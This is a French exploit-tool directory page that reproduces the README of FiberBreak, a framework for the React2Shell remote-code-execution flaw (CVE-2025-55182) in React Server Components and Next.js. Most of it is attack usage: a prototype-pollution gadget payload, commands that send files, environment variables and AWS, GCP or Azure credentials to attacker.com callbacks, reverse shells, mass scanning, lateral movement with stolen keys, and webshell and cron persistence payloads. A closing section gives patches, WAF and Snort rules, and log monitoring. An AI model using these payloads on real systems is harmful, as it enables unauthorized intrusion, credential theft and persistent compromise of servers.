Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
FiberBreak — Outil d'exploitation React2Shell (CVE-2025-55182) | Kitploit
Outils/GitHubGitHub/scumfrog/fiberbreak
ReconnaissanceScanners de VulnérabilitésExploitationExploitation d'Applications WebExfiltration de DonnéesPost-ExploitationTests d'IntrusionSécurité CloudCommandement et ContrôleRed TeamingDéveloppement de Charges Utiles
il y a 8 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
GitHub
scumfrog/fiberbreak

FiberBreak

Outil d'exploitation React2Shell (CVE-2025-55182)

Voir le dépôt
Partager

FiberBreak

Cadre d'exploitation pour CVE-2025-55182 (React2Shell) – Vulnérabilité critique d'exécution de code à distance dans React Server Components.

Vue d'ensemble

  • CVE : CVE-2025-55182
  • CVSS : 10.0 (CRITIQUE)
  • Type : Exécution de code à distance (RCE)
  • Version affectée : React 19.0.0-rc.0 à 19.0.0, Next.js 15.0.0 à 15.0.3
  • Découverte : Lachlan Miller (SonarSource)
  • PoC public : maple3142

Installation

root@kitploit:~
# Clone repository
git clone https://github.com/scumfrog/fiberbreak
cd fiberbreak

# Install dependencies
pip install -r requirements.txt

# Make executable
chmod +x fiberbreak.py

Démarrage rapide

root@kitploit:~
# Build vulnerable testing environment
docker-compose up -d

# Wait for startup
sleep 20

# Test detection
./fiberbreak.py -u http://localhost:3000 detect

# Execute RCE
./fiberbreak.py -u http://localhost:3000 exploit -c "whoami"

# Verify
docker exec react2shell-lab ls -la /tmp/

Détails techniques

Présentation de la vulnérabilité

CVE-2025-55182 est une vulnérabilité critique d'exécution de code à distance dans React Server Components (RSC) qui permet à des attaquants non authentifiés d'exécuter du code arbitraire sur le serveur.

Cause racine : Le protocole React Flight désérialise les entrées client non fiables sans validation appropriée, permettant aux attaquants de créer des charges utiles malveillantes qui abusent de la chaîne de prototypes de JavaScript et du constructeur Function.

Vecteur d'attaque : Les attaquants envoient une requête POST multipart/form-data forgée avec un en-tête Next-Action à n'importe quel point de terminaison RSC. La charge utile malveillante exploite :

  1. La pollution des prototypes via l'accès __proto__
  2. L'exposition du constructeur Function via constructor:constructor
  3. La résolution de promesses pour déclencher l'exécution de code

Flux d'exploitation

root@kitploit:~
1. Attaquant envoie une requête POST forgée
   └─ multipart/form-data avec JSON malveillant
   └─ En-tête Next-Action (n'importe quelle valeur)

2. Le serveur désérialise la charge utile
   └─ React traite le format de chunk RSC
   └─ Résout l'objet de type Promise

3. La chaîne de gadgets se déclenche
   └─ L'accès __proto__ contourne les vérifications hasOwnProperty
   └─ constructor:constructor expose Function()
   └─ _prefix exécute du code arbitraire

4. RCE obtenue
   └─ Le serveur exécute le JavaScript de l'attaquant
   └─ Compromission totale du système

Le gadget

root@kitploit:~
{
  "then": "$1:__proto__:then",           // Prototype pollution
  "status": "resolved_model",            // Fake React internal state
  "reason": -1,                          // Trigger resolution
  "value": '{"then":"$B1337"}',         // Blob reference
  "_response": {
    "_prefix": "MALICIOUS_CODE_HERE;",   // Executed code
    "_formData": {
      "get": "$1:constructor:constructor" // Function() access
    }
  }
}

Chemin de code affecté

root@kitploit:~
// react-server-dom-webpack/src/ReactFlightClient.js
function resolveModelChunk(chunk) {
  const value = JSON.parse(chunk.value);
  
  // Missing validation here allows malicious chunks
  if (value && typeof value.then === 'function') {
    // Attacker controls 'then' method
    value.then(/* ... */);
  }
}

Utilisation

Détection de la vulnérabilité

root@kitploit:~
# Single target detection
./fiberbreak.py -u https://target.com detect

# Multiple targets from file
./fiberbreak.py -l targets.txt detect --threads 20

# Save results to JSON
./fiberbreak.py -l targets.txt detect -o results.json

# Disable SSL verification
./fiberbreak.py -u https://target.com detect --no-verify-ssl

Exploitation de base

root@kitploit:~
# Simple blind command execution
./fiberbreak.py -u https://target.com exploit -c "whoami"

# Write file to disk
./fiberbreak.py -u https://target.com exploit \
  -c "/tmp/pwned.txt:HACKED" -t write_file

# Read file contents
./fiberbreak.py -u https://target.com exploit \
  -c "/etc/passwd:https://attacker.com" -t file_read

Exploitation avancée

root@kitploit:~
# Reverse shell
./fiberbreak.py -u https://target.com exploit \
  -c "10.10.10.10:4444" -t reverse_shell

# DNS exfiltration (stealthy, no HTTP traffic)
./fiberbreak.py -u https://target.com exploit \
  -c "whoami:attacker.oastify.com" -t dns_exfil

# HTTP exfiltration with output
./fiberbreak.py -u https://target.com exploit \
  -c "id:https://attacker.com/exfil" -t http_exfil

# Environment variable dump
./fiberbreak.py -u https://target.com exploit \
  -c "https://attacker.com/env" -t env_dump

# System reconnaissance
./fiberbreak.py -u https://target.com exploit \
  -c "https://attacker.com/recon" -t recon

# Stealth DNS beacon (no command output)
./fiberbreak.py -u https://target.com exploit \
  -c "attacker.oastify.com" -t stealth_beacon

Exploitation cloud

root@kitploit:~
# Auto-detect cloud provider and extract credentials
# Supports: AWS, GCP, Azure, DigitalOcean, Oracle Cloud, Alibaba Cloud
./fiberbreak.py -u https://target.com exploit \
  -c "https://attacker.com/cloud" -t cloud_metadata

Types de charges utiles

Scénarios concrets

Chasse aux bogues (Bug Bounty)

root@kitploit:~
# 1. Détection furtive avec balise DNS
./fiberbreak.py -u https://target.com exploit \
  -c "recon.yourburp.oastify.com" -t stealth_beacon

# 2. Si vulnérable, extraction de données sensibles
./fiberbreak.py -u https://target.com exploit \
  -c "https://yourserver.com/exfil" -t env_dump

# 3. Vérification de l'environnement cloud
./fiberbreak.py -u https://target.com exploit \
  -c "https://yourserver.com/cloud" -t cloud_metadata

# 4. Documenter les résultats sans causer de dommages

Tests d'intrusion

root@kitploit:~
# Phase 1 : Détection
./fiberbreak.py -u https://target.com detect -o detection.json

# Phase 2 : Vérification
./fiberbreak.py -u https://target.com exploit \
  -c "/tmp/pentest_proof.txt:PENTEST_$(date +%s)" -t write_file

# Phase 3 : Évaluation d'impact
./fiberbreak.py -u https://target.com exploit \
  -c "https://pentest-server.com/impact" -t recon

# Phase 4 : Extraction d'identifiants (si cloud)
./fiberbreak.py -u https://target.com exploit \
  -c "https://pentest-server.com/creds" -t cloud_metadata

# Phase 5 : Accès interactif (si autorisé)
# Terminal 1 : Démarrer un listener
nc -lvnp 4444

# Terminal 2 : Obtenir un shell
./fiberbreak.py -u https://target.com exploit \
  -c "YOUR_IP:4444" -t reverse_shell

Analyse de vulnérabilité de masse

root@kitploit:~
# Create target list
cat > targets.txt << EOF
https://app1.company.com
https://app2.company.com
https://app3.company.com
https://api.company.com
EOF

# Scan all targets in parallel
./fiberbreak.py -l targets.txt detect --threads 50 -o scan_results.json

# Filter vulnerable targets
cat scan_results.json | jq '.[] | select(.vulnerable==true) | .url'

# Generate report
cat scan_results.json | jq '{
  total: length,
  vulnerable: [.[] | select(.vulnerable==true)] | length,
  targets: [.[] | select(.vulnerable==true) | .url]
}'

Évaluation de l'infrastructure cloud

root@kitploit:~
# AWS EC2 Instance
./fiberbreak.py -u https://aws-app.com exploit \
  -c "https://attacker.com/aws" -t cloud_metadata

# Callback receives:
# - Instance ID, region, availability zone
# - IAM role name
# - Temporary AWS credentials (AccessKeyId, SecretAccessKey, Token)
# - User data
# - Network configuration

# GCP Compute Engine
./fiberbreak.py -u https://gcp-app.com exploit \
  -c "https://attacker.com/gcp" -t cloud_metadata

# Callback receives:
# - Project ID, instance name, zone
# - Service account email
# - OAuth2 access token
# - Available scopes

# Azure Virtual Machine
./fiberbreak.py -u https://azure-app.com exploit \
  -c "https://attacker.com/azure" -t cloud_metadata

# Callback receives:
# - Instance metadata
# - Managed identity OAuth2 token
# - Subscription information

Techniques d'exploitation

Technique 1 : Confirmation RCE aveugle

root@kitploit:~
# Create unique marker file
MARKER="pwned_$(date +%s)"
./fiberbreak.py -u https://target.com exploit \
  -c "/tmp/${MARKER}:proof" -t write_file

# Verify via timing attack or out-of-band
./fiberbreak.py -u https://target.com exploit \
  -c "curl https://attacker.com/${MARKER}" -t simple

Technique 2 : Pipeline d'exfiltration de données

root@kitploit:~
# Step 1: Enumerate files
./fiberbreak.py -u https://target.com exploit \
  -c "find /app -type f -name '*.env':https://attacker.com/files" -t http_exfil

# Step 2: Extract configuration
./fiberbreak.py -u https://target.com exploit \
  -c "/app/.env:https://attacker.com/config" -t file_read

# Step 3: Extract database credentials
./fiberbreak.py -u https://target.com exploit \
  -c "https://attacker.com/env" -t env_dump

Technique 3 : Mouvement latéral

root@kitploit:~
# Extract AWS credentials
./fiberbreak.py -u https://target.com exploit \
  -c "https://attacker.com/aws" -t cloud_metadata

# Use extracted credentials for lateral movement
export AWS_ACCESS_KEY_ID=""
export AWS_SECRET_ACCESS_KEY=""
export AWS_SESSION_TOKEN=""

# Enumerate resources
aws s3 ls
aws ec2 describe-instances
aws rds describe-db-instances

Atténuation et détection

Correctifs immédiats

root@kitploit:~
# Update React
npm install [email protected] [email protected]

# Update Next.js
npm install [email protected]  # or [email protected]+

# Verify versions
npm list react react-dom next

Règles WAF

nginx

root@kitploit:~
# Block requests with Next-Action header
if ($http_next_action) {
    return 403;
}

# Rate limit RSC endpoints
limit_req_zone $binary_remote_addr zone=rsc:10m rate=10r/s;

location / {
    limit_req zone=rsc burst=20;
}

Apache (ModSecurity)

root@kitploit:~
# Detect Next-Action header
SecRule REQUEST_HEADERS:Next-Action "@rx ." \
    "id:2025551820,\
     phase:2,\
     deny,\
     status:403,\
     log,\
     msg:'CVE-2025-55182 exploitation attempt detected'"

# Detect malicious RSC payloads
SecRule REQUEST_BODY "@rx (__proto__|constructor|prototype)" \
    "id:2025551821,\
     phase:2,\
     deny,\
     status:403,\
     log,\
     msg:'Malicious RSC payload detected'"

Cloudflare WAF

root@kitploit:~
// Custom rule
(http.request.headers["next-action"] ne "") or
(http.request.body.raw contains "__proto__") or
(http.request.body.raw contains "constructor:constructor")

Détection au niveau réseau

root@kitploit:~
# Snort/Suricata rule
alert tcp any any -> any any (
    msg:"CVE-2025-55182 React2Shell exploitation attempt";
    flow:to_server,established;
    content:"Next-Action"; http_header;
    content:"__proto__"; http_client_body;
    sid:2025551820;
    rev:1;
)

Protection au niveau applicatif

root@kitploit:~
// Next.js middleware
export function middleware(request) {
  // Block requests with Next-Action header from untrusted sources
  if (request.headers.get('next-action')) {
    // Validate origin
    const origin = request.headers.get('origin');
    const allowedOrigins = ['https://yourdomain.com'];
    
    if (!allowedOrigins.includes(origin)) {
      return new Response('Forbidden', { status: 403 });
    }
  }
  
  return NextResponse.next();
}

export const config = {
  matcher: '/:path*',
};

Surveillance et alertes

root@kitploit:~
# Monitor for exploitation attempts in logs
grep -r "Next-Action" /var/log/nginx/access.log
grep -r "__proto__" /var/log/nginx/access.log

# Alert on suspicious patterns
tail -f /var/log/nginx/access.log | grep -E "(Next-Action|__proto__|constructor:constructor)" | \
while read line; do
    echo "[ALERT] Potential CVE-2025-55182 exploitation: $line"
    # Send to SIEM/alerting system
done

Références

Ressources officielles

  • NVD CVE-2025-55182
  • React Security Advisory
  • Next.js Security Advisory

Documents de recherche

  • Wiz Security: React2Shell Deep Dive
  • OffSec: CVE-2025-55182 Analysis
  • SonarSource: Original Discovery

Ressources communautaires

  • maple3142
  • Public Exploits Collection

Avertissement légal

POUR USAGE ÉDUCATIF ET TESTS DE SÉCURITÉ AUTORISÉS UNIQUEMENT

Toute utilisation non autorisée est interdite. Voir LICENSE pour plus de détails.

Télécharger l’outil
TypeFormatDescriptionSortie
simplecommandExécute n'importe quelle commande shellAveugle
outputcommand + --callbackExécute avec rappel HTTPOui
reverse_shelllhost:lportReverse shell BashInteractive
dns_exfilcmd:domain ou domainExfiltration DNSJournaux DNS
http_exfilcmd:callback_urlExfiltration HTTPPOST HTTP
file_readfilepath:callbackLit et exfiltre un fichierPOST HTTP
write_filefilepath:contentÉcrit un fichier sur le disqueAveugle
env_dumpcallback_urlDécharge les variables d'environnementPOST HTTP
cloud_metadatacallback_urlExtrait les identifiants cloudPOST HTTP
reconcallback_urlReconnaissance systèmePOST HTTP
stealth_beacondomainBalise DNSJournaux DNS
webshellfilepathDéploie une webshell Node.jsPort 8080
persistcallback_urlInstalle une persistance cronTâche cron